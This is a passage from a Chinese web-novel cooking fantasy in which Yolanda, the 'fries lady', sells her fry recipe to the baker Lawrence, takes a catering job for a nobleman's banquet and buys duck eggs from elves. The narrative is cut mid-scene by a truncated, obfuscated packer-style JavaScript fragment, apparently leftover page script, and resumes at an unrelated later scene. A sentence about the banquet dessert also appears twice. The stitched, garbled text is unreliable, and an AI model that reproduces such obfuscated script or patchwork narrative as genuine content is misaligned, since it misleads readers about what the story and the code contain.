她手忙脚乱的固定招牌,明晃晃的大薯条立在摊前,像一面旗帜,人群里格外扎眼。 队伍里有人伸长脖子张望,指着大薯条跟旁边的人嘀咕:“是这家吗?好大一根薯条啊……” “对对对,就是这家!薯条夫人!” “怎么会有这么大的薯条,能吃吗?” 两天而已,菲奥娜总觉得自己错过了一个世纪。 劳伦斯也以为晚来了一个世纪。 明明和昨天差不多时间出门,结果只能排到队伍末尾。 他踮起脚往前看,黄压压的人头,轮到他的时候能剩下什么,真不好说。 昨天还没这么夸张呢。 劳伦斯紧抓钱袋,原本有几分迟疑的念头,在此刻稍稍坚定了一瞬。 7铜币的生意不起眼,可架不住人多啊,这一条长龙排下来,一天赚多少啊? 劳伦斯算不清楚,但肯定不少。 他随着队伍向前移动,越等越心焦,随即念头一转。 不对啊,他是来花钱拜师的,怎么排起队来了? 劳伦斯回过神,从队伍里抽身出来,旁边的人立刻挤上,把他空出的位置填得严严实实。 他站在人群外围,望着缓慢挪动的长龙,心里一阵犯难。 可怎么开口呢? 当着这么多人的面,万一拒绝他怎么办? 劳伦斯踌躇着、徘徊着,一磨蹭便磨蹭到收摊的时候。 前面人多,他还可以说服自己再等等,眼见人家要走了,劳伦斯等不住了,一咬牙,迈步上前。 “下午好,薯条夫人。”他拘谨地打招呼。 尤兰达抬起头,扬起一个客气的微笑 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可薯条的制作也没难到一定程度,等大家慢慢琢磨出门道,复刻出来是迟早的事。 与其到时候被人偷学去,不如趁现在行情好,明码标价地教。 尤兰达早想好这一点,只不太清楚该用什么样的价。 劳伦斯递出钱袋,“薯条夫人,你愿意考虑一下吗?” 尤兰达没好意思抢人家钱袋子,菲奥娜好意思,一把抓过来打开系绳。 “3金币!?” 菲奥娜低呼一声,连忙扯了扯尤兰达的裙子,眨眼睛示意她答应下来。 尤兰达没好气的给她一个白眼。 傻孩子一点账不会算,3金币,她们摆一星期的摊子差不多就能赚回来。 “如果只是这点钱,劳伦斯先生,我必须说抱歉了。” 劳伦斯心里拔凉,3金币也不行吗? “您知道的,”尤兰达不紧不慢开口,嘴角挂着自信笑容,“以薯条现在的火爆程度,赚回三枚金币用不了几天。我实在想不出,有什么理由同意您的请求。” 这话摆明了说出来,菲奥娜小吃一惊,劳伦斯吃一大惊。 她们都清楚薯条、三明治如今有多火,排到巷子尾的队伍可见一斑。 可她们确实不知道,利润能有这么多。 劳伦斯对小吃摊的印象,还停留在每天四五百铜币的阶段,还得是生意顺当的时候。 几天时间赚回三枚金币?他开了这么多年面包坊,都不敢这么拍胸脯保证。 劳伦斯心里那杆秤摇摇晃晃,有点想打退堂鼓。 三枚金币够让他肉疼了,再多?他没那个勇气。 尤兰达看出他的望而却步,淡淡地笑了笑。 “假如我们谈成这笔合作,也不代表我不能把方法卖给其他人,你知道的,买断制作方法是另一种价钱。” 劳伦斯刚冒出头的放弃念头,瞬间打消得干干净净。 薯条夫人不卖给他,还可以卖给隔壁街一直眼红他生意的同行,卖给其他酒馆。 到时候满大街卖薯条的,他落后别人一步,还能趁机大赚一笔吗? 话又说回来,薯条夫人摆摊几天能赚回3金币,他的面包坊即便比不上,多卖几天总够了吧。 左思右想,劳伦斯觉得这笔学费得交,值得交。 他原先以为3金币稳妥了,另外备了一些银币,哪知道人家看不上这点。 劳伦斯摸了摸身上几个口袋,露出囊中羞涩的窘迫。 “十枚金币,”他咬了咬牙,“我学薯条的做法。” 尤兰达面上不动声色,心里乐开花。 十枚金币啊,赚到手她完全可以敞开了装修店铺。 她故意拿乔,做出思索状,“您可真——” “嘿!薯条夫人。” 正和劳伦斯说着话,一位老顾客走来,他引来了另一位穿着讲究的中年绅士。 “这位叫琼斯的管家先生要找你。” 中年绅士先向引路的热心人道谢,而后微微颔首,越过劳伦斯,径直走到尤兰达面前,表达来意。 “你好,薯条夫人,我是琼斯,代表戴维斯老爷前来邀请你,为星期日的雉鸡宴准备一些餐食。” 他目光扫过销售一空的小吃摊,语气稍显热切:“比如三明治、薯条,他们可太受欢迎了。戴维斯老爷的客人不少贵族出身,他们一向不喜欢热闹的地方。” 琼斯说得委婉,在场众人谁不是心知肚明。 贵族们哪是不喜欢热闹,分明是瞧不上平民区的各位,包括尤兰达本人。 劳伦斯直咋舌。 乖乖,薯条夫人要去给勋爵老爷们做薯条三明治? 菲奥娜的惊讶不比劳伦斯少。 她自诩身份,说到底也只是富商之女,比起普通平民优越些,比起更高阶级则完全不够看。 要不母女三人当初怎么会卯足了劲,想在王子舞会上挑黄金单身汉呢。 那可是跨越阶级的天大好事。 而今,高攀不上的贵族们不愿屈尊降贵的和平民们一起排队,便换了个方式,请尤兰达上门。 菲奥娜眼珠子一转,神气极了。 琼斯自顾自往下说:“雉鸡宴不能出错,薯条夫人必须做出本杰明子爵吃过的同款三明治,如果搞砸了……” 菲奥娜哪顾得上什么如果不如果,搞砸不搞砸,满脑子贵族、子爵。 她拽住尤兰达裙摆,扯了又扯,只恨自己不能替妈妈应下。 谁不希望和贵族产生交集呢。 尤兰达努力回想,想不起来本杰明子爵这号人物,但不影响她通过琼斯管家的只言片语了解事情始末。 不出意外,又是一个跟风贵族的,不过这位戴维斯老爷更有财力。 尤兰达对此格外淡然,甚至有种习以为常的熟练。 前世她拍视频当美食博主的时候,常有富婆粉丝馋她厨艺,花大价钱包机酒出材料,请她上门烹饪。 尤兰达可不少赚。 “我想,戴维斯老爷应该会给予一些报酬吧?食材需要自带吗?戴维斯老爷住在哪里?如果是城外很远的地方,我恐怕要说抱歉了。” 琼斯愣了一瞬,答:“当然,当然有报酬,不止报酬,所需食材也包了。薯条夫人请放心,戴维斯老爷住在城东,不会太远。” 城东,也就是土著们口中所谓的富人区,距离贵族区还有不小一段路程,距离尤兰达所在的平民区,不远也不近。 琼斯见她思考着什么,伸出1根手指。 劳伦斯意会:“……1银币?” 琼斯轻蔑一笑,“不不不,薯条夫人值得更多。” 菲奥娜喜上眉梢:“10银币?” 琼斯无语地沉默片刻:“100枚银币。” 劳伦斯险些控制不住表情,内心一片卧槽。 那不就是1金币? 上门做一次三明治,抵摆摊几天的利润,这合理吗? 36.第 36 章 其他人为1金币的劳务费震惊不已,尤兰达紧了紧皮。 以当前行情,通过行会聘请厨师□□,20银币算很不错的价格。 只做三明治、薯条,就有100银币赚,谁听了不说一句天上掉馅饼。 尤兰达反复确认:“真的有100银币?” 琼斯无奈了,再三点头。 倒真不是戴维斯老爷钱多没处花,而是邀请的客人们身份不低,若让人知道,只花了几枚银币把最近风头正盛的薯条夫人请来,未免有点拉低档次。 当然,戴维斯老爷也没准备让尤兰达轻轻松松把钱赚走,做得不好,扣钱理所当然。 “雉鸡宴一共有五轮,夫人需负责第四轮的餐后小食。” 所谓餐后小食,就是饭后甜点,排在宴会尾声,需要一下吸睛的玩意做为记忆锚点,完美收场。 所谓餐后小食,就是饭后甜点,排在宴会尾声,需要一道足够吸睛的玩意儿做记忆锚点,好让宴席完美收场。 三明治、薯条无论如何排不上前几轮,和烤孔雀、烤鹿肉摆在一起,确实不像话。 放在第四轮正正好。 “戴维斯老爷的邀请我接下了。”尤兰达略一思索,爽快同意。 琼斯毫不意外,“你做出了最正确的决定。星期六,我会派女仆联系你,假如有食材方面的特殊需求,务必交待给她,那时她会告诉你戴维斯老爷的宅邸。” 琼斯颔首准备离去,想起什么,侧身时停顿片刻,补充道:“对了,请在星期六一并告知我你准备的小食有哪些,你知道的,我要安排一整场雉鸡宴,不能出差错。” 尤兰达十分理解,“请放心,琼斯先生,这几天我会好好准备的。” 琼斯先生依次向尤兰达、菲奥娜微笑示意告辞,步伐从容的离开。 剩下的三人神色各异,沉浸在各自的思绪中,气氛稍显微妙。 劳伦斯搓了把脸,泄气追问:“那么……薯条夫人,我们说好的……” 他挺没底气的。 凭借为勋爵老爷服务这一点,薯条夫人完全可以狮子大张口提价。 超过十金币,劳伦斯舍不舍得不重要,得看钱包答不答应。 不过他也没有太沮丧,他出不起更高价格,其他面包坊、酒馆,也不一定出得起。 “抱歉,劳伦斯先生,事情发生的太突然,耽误您的时间了。”尤兰达首先表示歉意。 劳伦斯听到“抱歉”两个字,神色黯淡下来。 他就知道会是这样。 “您的提议我同意了,假如您不着急,我们可以安排之后的几天教学,去您的面包坊?” 劳伦斯沉沉下坠的心脏,倏地高高升起,一起一落刺激得他半张着嘴说不出话。 尤兰达等了等,没等来回应,以为他反悔了,刚要张口,劳伦斯急促道: “再好不过了,薯条夫人,明天好吗?我迫不及待想学习怎么制作薯条。它太棒了,比平常吃的土豆好吃太多。” 尤兰达翘起唇角,“那就定在明天。收摊之后我会带上家中学徒去您的面包坊,您得提前准备一些土豆和猪油。” 劳伦斯脸差点笑烂,生怕尤兰达反悔,赶紧从钱袋里掏出三枚金币塞过来当订金。 又一单生意谈妥,菲奥娜这下再也管不住自己的表情,笑得见牙不见眼。 要不是还端着架子,恨不得当场蹦起来。 “妈妈,我们赚到金币了!” 通常情况来讲,大多数人会选择给300枚银币,而不是三枚金币。 这方面,劳伦斯先生确实很大气。 尤兰达跟着高兴了一会,捂住菲奥娜想要昭告天下的嘴。 本来自家生意好就够打眼的了,万一让人盯上,半路抢钱什么的…… 菲奥娜呜呜叫,挣扎着扒开她的手,倒是没再嚷嚷了。 她攥着尤兰达的袖子,眼睛亮晶晶地往巷子方向瞅:“妈妈,快点回家吧,我们还要去菜市街看精灵呢!” 尤兰达被她拽得直晃,推起板车往特意绕去铁匠铺。 老铁匠正在炉子后面忙活,听见声音抬起头,看见是她,笑呵呵从架子上取下两口小铁锅,叮叮当当地拎过来。 “薯条夫人,您要的锅,瞧瞧。” 尤兰达接过来翻了翻,锅底平整,厚薄均匀,拿在手里沉甸甸。 三角铲已经是当下锻造技艺能达到的最轻薄状态,足够日常使用。 丁点大的锅要1500铜币,按照当地人平均月收入,真不便宜,做成原身嫁妆那样的大铁锅,只会更贵。 尤兰达掂了掂,从钱袋里数出一千二百铜币递过去。 搁昨天,付这么大一笔尾款,她多少得肉疼一下。 但谁让她今天赚到了金币呢。 老铁匠接过铜币,乐呵呵地数了数,抬头看她一眼:“薯条夫人今天心情不错啊。” 尤兰达笑了笑,没接话,把两口锅往板车上一搁,推着往家走。 菲奥娜蹦蹦跳跳跟在旁边,隔一会儿抬头看天色,嘴里不停念叨。 “快点快点,再晚精灵就走了……” 尤兰达被她吵得头疼,“急什么,精灵又不是麻雀,飞不了那么快。” 菲奥娜才不管,拽着板车边沿往前跑,大有一步跨到家的架势。 母女俩紧赶慢赶回到家,却见大约翰和西芙拉先她们一步到家。 大约翰绞着手,脑袋深深垂下,一脸羞愧。 西芙拉花蝴蝶一样跑进跑出,换下一套套裙子,心情极好。 尤兰达往井边一瞄,心里有数了。 笸箩里散开许多处理好的鸡油菌,可见他们回来了有一会。 再看旁边的箩筐,今天总共收获两筐鸡油菌,以及小半筐榛蘑。 不用问,肯定摸鱼了。 尤兰达想象得到,一定是西芙拉生拉硬拽,催着人回家。 “你们认识榛蘑?” 她上前,把箩筐里数量不多的榛蘑挑拣出来,确定没有毒蘑菇混入。 大约翰想到出门前夫人的嘱咐,忙解释:“我们遇到山中的猎户了,他指点我们采了榛蘑。” 尤兰达表扬:“真不错,你们又认识了一种菌菇。” 两人搭话的工夫,菲奥娜丢下东西,急吼吼扎进衣柜里。 大约翰没什么可打扮的,坐立不安的处理鸡油菌。 尤兰达手一指:“去把棚子上的蜂窝煤收起来吧,堆去厨房垒起来,回来教你怎么处理榛蘑。” 大约翰如蒙大赦,雨过天晴般露出笑脸,屁颠颠干活去了。 夫人说了许多,偏偏没提菌菇数量不对,那就代表不介意他们偷懒的事了。 大约翰提着的心终于放下。 尤兰达盯着收起来的蜂窝煤,琢磨着什么时候搓下一批。 前两批蜂窝煤足够应付摆摊所需,许多时候自家做饭也用它们,撑到9月问题不大。 冬季到来后,土地上冻,久不见阳光,到时候再搓煤球没现在方便。 日常用的蜂窝煤够了,看来有必要搓点取暖用的蜂窝煤。 脑子里盘算家中琐事,尤兰达手上动作没停。 从笸箩里倒出晒干的黑木耳、鸡腿菇等,分别装进麻布袋,抽绳一抽,直接挂上房梁,随取随用。 搬进矮人巷短短几天,这间稍显空旷的厨房,已经慢慢添了许多食材、厨具。 环顾一圈,自得一会,尤兰达一拍脑门,快步去柴棚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于平民吃不起的樱桃、李子、桃子、杏子、无花果、甜瓜等,就不提了,想也知道不会比21世纪的更好吃。 大家最常接触的,只剩下柠檬、葡萄一类,实在单调。 尤兰达不算特别爱吃水果,这几天没吃着好吃的,嘴巴还真有点馋。 一路上,她心心念念买果子买果酒。 可一到菜市街,顺着拥挤人群来到摊位前,直面浑身发着光的貌美精灵们,尤兰达满脑子的念头一个比一个冒昧。 显然,精灵们十分习惯被人族盯着看了。 无论男女精灵,均保持淡淡的冷漠,公式化询问顾客买什么,或者用什么东西做为交换。 轮到尤兰达,她十分丢脸地吞了吞口水,扫一眼面前待售的物品,慢半拍回答仙女一样的美丽女精灵。 “鸭、鸭蛋,我需要鸭蛋。” 女精灵多看了尤兰达一眼。 怎么说呢,大多数人族看精灵族的眼神,要么痴迷,要么忌恨,眼前的夫人不一样。 她眼睛亮晶晶,像她们欣赏天上的月亮一样欣赏着她们,干净坦荡。 女精灵微微笑,打开木桶盖子,从谷糠里捡出十几枚圆滚滚的野鸭蛋,码进篮子里。 “够吗?” 尤兰达看呆了,哪知道够不够,反正直勾勾的看。 女精灵笑意加深,又捡了几颗野鸭蛋。 尤兰达接过篮子时,整个人都懵了。 等等,她不是来买水果的吗? 望着一篮子野鸭蛋,尤兰达只困惑地挠挠头,却没想着退货。 正好,带回家腌咸鸭蛋。